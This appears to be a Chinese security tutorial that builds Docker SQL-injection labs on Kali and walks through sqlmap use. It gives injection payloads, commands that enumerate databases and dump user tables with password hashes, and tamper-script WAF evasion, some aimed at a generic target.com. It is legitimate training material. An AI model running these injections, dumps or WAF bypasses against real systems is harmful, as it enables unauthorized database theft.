Kali2026+Docker靶场+SQL注入+sqlmap实战:从环境搭建到数据拖库的完整链路"

admin 2026-10-15 14:35:15 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

Kali 2026+Docker靶场+SQL注入+sqlmap实战:从环境搭建到数据拖库的完整链路

原创

KLSEC
KLSEC

昆仑AI安全实验室

2026年10月13日 00:00
广东

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

刚装好Kali,想学SQL注入,但不知道从哪下手。网上教程要么只讲原理不讲实操,要么只讲工具不讲环境搭建。

这篇文章把“Kali装Docker → 搭靶场 → 理解SQL注入 → 用sqlmap实战”这条完整链路拆开。每一步都有具体命令,跟着走就能跑通。

一、Kali 2026安装Docker:别装错包

Kali的软件源里有一个叫docker的包,但它不是Docker容器引擎。正确的包名是docker.io。

sudo apt updatesudo apt install -y docker.iosudo systemctl enable docker --now

验证安装:

docker --version

如果输出类似Docker version 27.x.x,说明安装成功。

配置非root用户权限。

默认情况下,Docker需要sudo才能运行。把当前用户加入docker组:

sudo usermod -aG docker $USER

然后注销重新登录,使组权限生效。之后就可以直接运行docker命令,不需要每次都加sudo。

如果你需要安装Docker官方的最新版本(docker-ce),需要添加Docker的Debian仓库。Kali基于Debian,当前稳定版代号是trixie:

echo \"deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.gpg] https://download.docker.com/linux/debian trixie stable\" | sudo tee /etc/apt/sources.list.d/docker.list
curl -fsSL https://download.docker.com/linux/debian/gpg | sudo gpg --dearmor -o /etc/apt/keyrings/docker.gpg
sudo apt update && sudo apt install -y docker-ce docker-ce-cli containerd.io

安装完成后,同样执行sudo usermod -aG docker $USER并重新登录。

二、用Docker搭建SQL注入靶场:三种方案

Docker最大的优势是靶场“用完即删”,不会污染宿主机。以下三种方案按推荐度排序。

方案一:sqli-lab(Hello-CTF labs,推荐)

这是ProbiusOfficial维护的阶梯式SQL注入靶场,容器内同时运行MariaDB、Flask和Nginx,对外只暴露一个端口。

git clone https://github.com/ProbiusOfficial/sqli-lab.gitcd sqli-labdocker compose up --build

浏览器访问http://127.0.0.1:8080。靶场自带“上帝模式”,会额外展示SQL预览、执行语句、耗时和错误信息,对新手理解注入原理帮助很大。

方案二:SmartMES-Range(综合靶场)

如果你不仅想练SQL注入,还想练文件上传、命令注入、反序列化,这个靶场预埋了9个漏洞,支持4阶段完整攻击链复现。

git clone https://github.com/timidadada/SmartMES-Range.gitcd SmartMES-Rangedocker-compose up -ddocker-compose ps

默认账户:admin/password,zhangsan/zhang123。SQL注入点在login.php,Payload是admin' OR '1'='1' --。

方案三:VulnArena(Java Web靶场)

如果你想练Java环境下的SQL注入,这个靶场用Maven多阶段构建,覆盖SQLi、XSS、文件上传、越权、SSRF、命令注入。

git clone https://github.com/1t01x1w4/VulnArena.gitcd VulnArenadocker compose up -d --build

首次构建需要拉取镜像和依赖,大约3-8分钟。

靶场管理常用命令:

docker ps                          # 查看运行中的容器docker compose stop                # 停止靶场docker compose down                # 停止并删除容器docker compose up -d               # 后台启动

三、SQL注入漏洞详解:从URL参数到数据库

SQL注入的核心根源只有一句话:Web后端把用户可控的输入直接拼接进SQL语句执行,没有做过滤、转义或参数化处理。

以sqli-lab的Less-1为例,正常访问URL:

http://127.0.0.1:8080/Less-1/?id=1

后端PHP的执行逻辑(简化伪代码)是:

$id = $_GET['id'];$sql = \"SELECT * FROM users WHERE id = '$id' LIMIT 0,1\";$result = mysql_query($sql);

当id=1时,SQL语句是:

SELECT * FROM users WHERE id = '1' LIMIT 0,1

当id=1'时,SQL语句变成:

SELECT * FROM users WHERE id = '1'' LIMIT 0,1

单引号破坏了原有语义,导致SQL语法错误,报错信息会回显到页面上。这就是错误型注入的起点。

进一步,构造id=1' OR '1'='1:

SELECT * FROM users WHERE id = '1' OR '1'='1' LIMIT 0,1

'1'='1'恒为真,OR连接后整个WHERE条件为真,返回了表中所有用户数据。

如果目标是获取数据库名,用UNION SELECT:

?id=-1' UNION SELECT 1,database(),3 --+

--+是注释符,把后面的单引号和LIMIT注释掉。database()函数返回当前数据库名。

2026年SQL注入仍然是OWASP Top 10的常客。 2026年9月披露的CVE-2026-67370就是SQL Server中“特殊元素未正确中和”导致的SQL注入,允许已认证攻击者通过网络提升权限。同年5月的GHSA-XWQR-RCQG-22MR则是Flight框架中SimplePdo类直接拼接$table参数到SQL语句,没有做标识符引用和校验。

四、sqlmap实战:从检测到拖库

sqlmap是Kali预装的自动化SQL注入工具。以下是完整的使用流程。

第一步:基础检测。

sqlmap -u \"http://127.0.0.1:8080/Less-1/?id=1\" --batch

--batch表示所有交互提示自动选择默认选项。sqlmap会自动测试多种注入技术(布尔盲注、时间盲注、错误型、UNION、堆叠查询),并输出是否存在注入点。

第二步:获取数据库信息。

确认注入点后,枚举所有数据库:

sqlmap -u \"http://127.0.0.1:8080/Less-1/?id=1\" --dbs

输出中会列出目标数据库的所有库名。假设发现了一个叫security的库,枚举其中的表:

sqlmap -u \"http://127.0.0.1:8080/Less-1/?id=1\" -D security --tables

假设发现users表,查看表结构:

sqlmap -u \"http://127.0.0.1:8080/Less-1/?id=1\" -D security -T users --columns

第三步:拖取数据。

sqlmap -u \"http://127.0.0.1:8080/Less-1/?id=1\" -D security -T users --dump

sqlmap会导出users表中的所有数据,包括用户名和密码哈希。对于密码哈希,sqlmap内置了常见哈希的识别和破解功能。

第四步:POST注入和Cookie注入。

如果注入点在POST请求体中:

sqlmap -u \"http://target.com/login\" --data=\"username=admin&password=123456\" --batch

--data指定POST请求体。sqlmap会自动测试每个参数。

如果注入点在Cookie中:

sqlmap -u \"http://target.com/dashboard\" --cookie=\"sessionid=abc123; userid=1*\" --batch

在Cookie值后加*,告诉sqlmap“这个参数需要测试”。

第五步:从Burp请求文件加载。

实战中最常用的方式:在Burp中把整个请求保存为文件,然后交给sqlmap:

sqlmap -r request.txt --batch

-r从文件加载完整的HTTP请求,包括自定义Header、Cookie和POST数据。这是最高效的实战方式。

第六步:WAF绕过(Tamper脚本)。

如果目标部署了WAF,sqlmap的请求被拦截,需要使用Tamper脚本对Payload进行变形:

sqlmap -u \"http://target.com/?id=1\" --tamper=space2comment,randomcase --batch

space2comment把空格替换为/**/注释,randomcase随机改变关键字大小写。sqlmap自带几十个Tamper脚本,存放在/usr/share/sqlmap/tamper/目录下。

2026年社区维护的sqlmap-tamper-collection新增了针对Cloudflare、AWS WAF v2和Azure WAF的专用脚本,比如cloudflare2025.py会做多层变换:关键字用MySQL版本注释包裹(/*!50000SELECT*/)、空格替换为/**/、值做URL编码、大小写交替。

多脚本组合使用:

sqlmap -u \"http://target.com/?id=1\" --tamper=\"randomcase,space2comment,equaltolike\" --batch

第七步:常用性能优化参数。

sqlmap -r request.txt --batch --threads=10 --level=3 --risk=2 --dbms=mysql

--threads并发线程数,--level测试级别(1-5,越高测试越全面但越慢),--risk风险级别(1-3),--dbms指定数据库类型,跳过自动识别。

五、实战案例:从登录框到拖库

假设你在SmartMES靶场上测试。登录页面在http://target.com/login.php,SQL注入点在username参数。

用Burp抓取登录请求,保存为login.txt:

POST /login.php HTTP/1.1Host: target.comContent-Type: application/x-www-form-urlencoded
username=admin&password=123

用sqlmap加载:

sqlmap -r login.txt -p username --batch

-p username指定只测试username参数。sqlmap检测到注入后,输出类似:

[INFO] POST parameter 'username' appears to be 'MySQL >= 5.0.12 AND time-based blind' injectable

确认后,枚举数据库:

sqlmap -r login.txt -p username --dbs --batch

发现smartmes数据库。枚举表:

sqlmap -r login.txt -p username -D smartmes --tables --batch

发现users表,导出数据:

sqlmap -r login.txt -p username -D smartmes -T users --dump --batch

输出中会包含所有用户的用户名、密码哈希和角色。如果密码哈希是MD5或SHA1,sqlmap会自动尝试破解。

六、新手常踩的坑

坑一:Docker装成了docker而不是docker.io。 Kali源里的docker是另一个软件包。正确的包名是docker.io,或者用Docker官方仓库的docker-ce。

坑二:sudo usermod -aG docker $USER后没重新登录。 组权限变更需要重新登录才生效,否则运行docker仍然报权限错误。

坑三:靶场访问不了。 检查容器是否正常运行:docker ps。如果容器状态是Exited,用docker logs 容器ID查看日志。

坑四:sqlmap跑得很慢。 减少--level和--risk,或指定--technique只测特定注入类型:

sqlmap -r login.txt --technique=BEU --batch

B布尔盲注,E错误型,UUNION查询。这三种在实战中效率最高。

坑五:sqlmap被WAF拦截。 先用--delay=2降低请求频率,再尝试Tamper脚本组合。如果仍然被拦截,用Burp手动测试,确认注入点是否真实存在,再针对性的选择Tamper。

坑六:导出数据量太大。 加--limit限制导出行数:

sqlmap -r login.txt -D smartmes -T users --dump --limit 10

写在最后

SQL注入是一个“越老越吃香”的漏洞类型。工具在进化,WAF在升级,但注入的根本原因——代码把用户输入当代码执行——从未改变。2026年的CVE-2026-67370和GHSA-XWQR-RCQG-22MR都在提醒我们,SQL注入仍然是需要认真对待的攻击面。

从Kali装Docker,到搭靶场,到理解注入原理,再到用sqlmap拖库,这条链路走通一次,你就有了自己独立验证SQL注入漏洞的能力。剩下的,就是在授权目标上反复练习,把每一条命令变成肌肉记忆。

严正声明

本文所述所有工具、命令和操作仅用于已获得明确书面授权的安全测试、研究和教育场景。靶场环境应部署在隔离网络中,禁止将靶场暴露在公网。sqlmap的使用必须严格限制在SRC平台或客户授权的资产范围内。未授权扫描、测试、攻击行为违反《中华人民共和国网络安全法》第27条及《刑法》第285条,将承担法律责任。技术无罪,边界是法律。

改一个数字就能看到别人的订单越权漏洞凭什么20年没治好" 网络安全文章

改一个数字就能看到别人的订单越权漏洞凭什么20年没治好"

本文深入剖析越权漏洞(IDOR/BOLA)的原理、真实案例与长期存在原因,指出其本质是系统只验证认证未验证授权。文章列举T-Mobile、Optus等重大数据泄露事件及国内司法判例,强调法律风险。作者提供两个可操作方案:静态自查脚本扫描高危代码模式,以及归属校验装饰器修复方案,并建议将自查挂入CI流程。内容专业实用,兼具技术深度与工程实践指导价值。
十月十二日,雾中一日" 网络安全文章

十月十二日,雾中一日"

这篇散文以雾天为背景,描写作者从清晨到傍晚的一天生活。作者将北方的雾景与戴望舒的雨巷意象相融合,在通勤途中展开对丁香姑娘的想象,借此表达对诗意生活的向往。文章将现实生活的繁忙与诗意想象交织,最终感悟到丁香姑娘象征理想与慰藉,支撑人们走过平凡日子。
评论:0   参与:  0